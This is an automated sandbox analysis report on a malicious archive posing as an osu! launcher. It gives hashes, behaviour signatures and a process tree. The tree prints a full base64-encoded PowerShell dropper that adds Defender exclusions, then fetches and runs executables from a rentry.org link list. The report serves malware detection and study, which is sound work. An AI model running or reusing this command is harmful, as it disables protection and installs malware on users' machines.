9d0eef3560fd3b6f9207a21206c4f4337b07bff2cf082869c87bdc1ddd6d2e89

Analysis

max time kernel
42s
max time network
151s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
21-05-2024 14:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Osu.7z
Size

3.7MB
MD5

925d19382afe84113af3255a66d024d8
SHA1

dae8a69db43980e2335503a4a0a7d30576bed181
SHA256

9d0eef3560fd3b6f9207a21206c4f4337b07bff2cf082869c87bdc1ddd6d2e89
SHA512

1a6cf9bdc5666a4a9b0b4e4fc9d46eaecabf572a757fa9abb4faf24413abde504fef829660a0dd3a6681ab6c28f9032875c3c22a653f66939412ed853175ca45
SSDEEP

98304:00xdEVRkgh/ZxjuutKhnM5IYpu99zvp8sPhy//oSuks:00fq/mhnMqYp6B8sJ4Ts

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://rentry.org/pancek61111111111111/raw

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 2368 powershell.exe
6 2368 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

Launcher.exe

pid process

2716 Launcher.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2368 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
5	2368	powershell.exe
6	2368	powershell.exe

pid	process
2716	Launcher.exe

pid	process
2368	powershell.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

7zFM.exepowershell.exechrome.exe

pid process

2620 7zFM.exe
2368 powershell.exe
2620 7zFM.exe
1844 chrome.exe
1844 chrome.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

7zFM.exe

pid process

2620 7zFM.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

7zFM.exepowershell.exechrome.exe

description	pid	process
Token: SeRestorePrivilege	2620	7zFM.exe
Token: 35	2620	7zFM.exe
Token: SeSecurityPrivilege	2620	7zFM.exe
Token: SeDebugPrivilege	2368	powershell.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe
Token: SeShutdownPrivilege	1844	chrome.exe

Suspicious use of FindShellTrayWindow 36 IoCs

Processes:

7zFM.exechrome.exe

pid	process
2620	7zFM.exe
2620	7zFM.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

Processes:

chrome.exe

pid	process
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe
1844	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exe7zFM.exeLauncher.exechrome.exe

description	pid	process	target process
PID 2188 wrote to memory of 2620	2188	cmd.exe	7zFM.exe
PID 2188 wrote to memory of 2620	2188	cmd.exe	7zFM.exe
PID 2188 wrote to memory of 2620	2188	cmd.exe	7zFM.exe
PID 2620 wrote to memory of 2716	2620	7zFM.exe	Launcher.exe
PID 2620 wrote to memory of 2716	2620	7zFM.exe	Launcher.exe
PID 2620 wrote to memory of 2716	2620	7zFM.exe	Launcher.exe
PID 2716 wrote to memory of 2368	2716	Launcher.exe	powershell.exe
PID 2716 wrote to memory of 2368	2716	Launcher.exe	powershell.exe
PID 2716 wrote to memory of 2368	2716	Launcher.exe	powershell.exe
PID 1844 wrote to memory of 1360	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 1360	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 1360	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 2200	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 1416	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 1416	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 1416	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 1016	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 1016	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 1016	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 1016	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 1016	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 1016	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 1016	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 1016	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 1016	1844	chrome.exe	chrome.exe
PID 1844 wrote to memory of 1016	1844	chrome.exe	chrome.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Osu.7z
1⤵
- Suspicious use of WriteProcessMemory
PID:2188
- C:\Program Files\7-Zip\7zFM.exe
  "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Osu.7z"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2620
- - C:\Users\Admin\AppData\Local\Temp\7zOC3AFB616\Launcher.exe
    "C:\Users\Admin\AppData\Local\Temp\7zOC3AFB616\Launcher.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2716
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAZwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdAB6AHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbABiAHcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaAByAGQAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAHAAYQBuAGMAZQBrADYAMQAxADEAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbAB0AHcAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAGgAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBjAHkAdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAcQBuAHUAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZABpAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAG4AZwB2ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwB4AG4AbAAjAD4A"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2368

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1844
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7129758,0x7fef7129768,0x7fef7129778
  2⤵
  PID:1360
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1156 --field-trial-handle=1384,i,5451129284342500462,8898039284592328910,131072 /prefetch:2
  2⤵
  PID:2200
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1516 --field-trial-handle=1384,i,5451129284342500462,8898039284592328910,131072 /prefetch:8
  2⤵
  PID:1416
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1564 --field-trial-handle=1384,i,5451129284342500462,8898039284592328910,131072 /prefetch:8
  2⤵
  PID:1016
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2192 --field-trial-handle=1384,i,5451129284342500462,8898039284592328910,131072 /prefetch:1
  2⤵
  PID:2760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2200 --field-trial-handle=1384,i,5451129284342500462,8898039284592328910,131072 /prefetch:1
  2⤵
  PID:2892
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1480 --field-trial-handle=1384,i,5451129284342500462,8898039284592328910,131072 /prefetch:2
  2⤵
  PID:2052
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3208 --field-trial-handle=1384,i,5451129284342500462,8898039284592328910,131072 /prefetch:1
  2⤵
  PID:1108
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3428 --field-trial-handle=1384,i,5451129284342500462,8898039284592328910,131072 /prefetch:8
  2⤵
  PID:1860
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3584 --field-trial-handle=1384,i,5451129284342500462,8898039284592328910,131072 /prefetch:8
  2⤵
  PID:1388
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3592 --field-trial-handle=1384,i,5451129284342500462,8898039284592328910,131072 /prefetch:8
  2⤵
  PID:2460
- C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe
  "C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe" --reenable-autoupdates --system-level
  2⤵
  PID:2092
- - C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe
    "C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x154,0x158,0x15c,0x128,0x160,0x13f6f7688,0x13f6f7698,0x13f6f76a8
    3⤵
    PID:2784
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=3760 --field-trial-handle=1384,i,5451129284342500462,8898039284592328910,131072 /prefetch:1
  2⤵
  PID:2812

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:1552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
72B

MD5
fcfbc5c8088552605bb6943f323284fe

SHA1
d11678d1a63e800606d2d1173116624f5367b83d

SHA256
0b4719125095d001c2a787e7d23b6642e76f93fc452b75567d2a491edcefa475

SHA512
7d1879a9d1f5700355825a15728d26a4dd0a50525ff3314e5ef76090fd6df6510b9b1b1d4e1ecf2ddb857499815f334e4a99fe0a0bac848be203d46458b9ec99

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

Filesize
264KB

MD5
f50f89a0a91564d0b8a211f8921aa7de

SHA1
112403a17dd69d5b9018b8cede023cb3b54eab7d

SHA256
b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

SHA512
bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
bc2dbed8697b1b53f5f673bbd51a50b1

SHA1
b9b6b6bdaf6fcd357fced56ae36f63f9a3c5a4fe

SHA256
430be5ed123adad986c13a21b5ee4f13772b0962aa64b19378922d6ac026cd35

SHA512
e01ef29c784816780e551f770c69d0fa9a51172798ac3e71a4507a39dbefd1b9cab7028487008f368c465224368b54ceea06463929a038cd8beae670a6296182

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
363B

MD5
e92475eeeb64f48ad228f23367cf4b5e

SHA1
ca21ff1b8064d5aa2e0fe7dc602aede9f9914b83

SHA256
d66444cf11976dd6540947fa2d39d6460e57645e7aa1e36c1931e81772a0a6c0

SHA512
f989d30c9b610f8f7056c9604a129c4fc4a1e6d9d167820c89a02176631c2f01d3652f733bcdb7000bdba0b9daec1e7c0d73118cdb13b642d2ef6e78b0905c35

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
6KB

MD5
4a064cef1b924732d3a79f74246772db

SHA1
bfc22cef064b8a18f5f2b68f4b90ba183fbbbd7d

SHA256
11380008935c91e6de5b917369c73d766c4972e34288a57b68dd3e045252c03d

SHA512
8b909f3994292e6a8b738cbed220bc1058a51ae5aed62042a2a33c997f326041a9c7e3c970e31457bbe6b71c0dcacc2b1bc8e1a95b4ae40eb27ce5b1f5ab3543

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
6KB

MD5
e9f2e8e9c1556ebf1b891138fed82a79

SHA1
c6647e5f4e2d537d27430dc05127bad7b67a9573

SHA256
69bcbbb3dcd5c77c5b1ab7de8589a627ece5c28ea752710d2b54a41ee55ae3ac

SHA512
fe6271874f53e415dcbca7d3f9bf8ccc63de405d94a088d7451e7185446ceea3c4aee2ac0a4ef75304c4d7e859905c58d18cd177ae2e7f1af4ace39e7542742b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\CURRENT

Filesize
16B

MD5
18e723571b00fb1694a3bad6c78e4054

SHA1
afcc0ef32d46fe59e0483f9a3c891d3034d12f32

SHA256
8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

SHA512
43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zOC3AFB616\Launcher.exe

Filesize
7KB

MD5
eee2a79d3170f463e9697ddb8b97d41e

SHA1
818c82b1743c91f423c92742b54355b2058ff417

SHA256
a4569f2cabda528425ec397aef16d6f8fc15ca94664f6f98d738d0b3dc570b41

SHA512
139b6366a088d9aaa055fae4c7853c872fe4a31dfb7dc8e3961f144db0d712342fd4e9ef6f20e5f3cbb225a4f23c3ed24e55d144f9342398e8305f54a327d5ea

Download Submit
\??\pipe\crashpad_1844_AXYKWDXHCEFRONPO

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/2368-40-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2368-41-0x00000000028E0000-0x00000000028E8000-memory.dmp

Filesize
32KB

Download
memory/2716-35-0x0000000000810000-0x0000000000818000-memory.dmp

Filesize
32KB

Download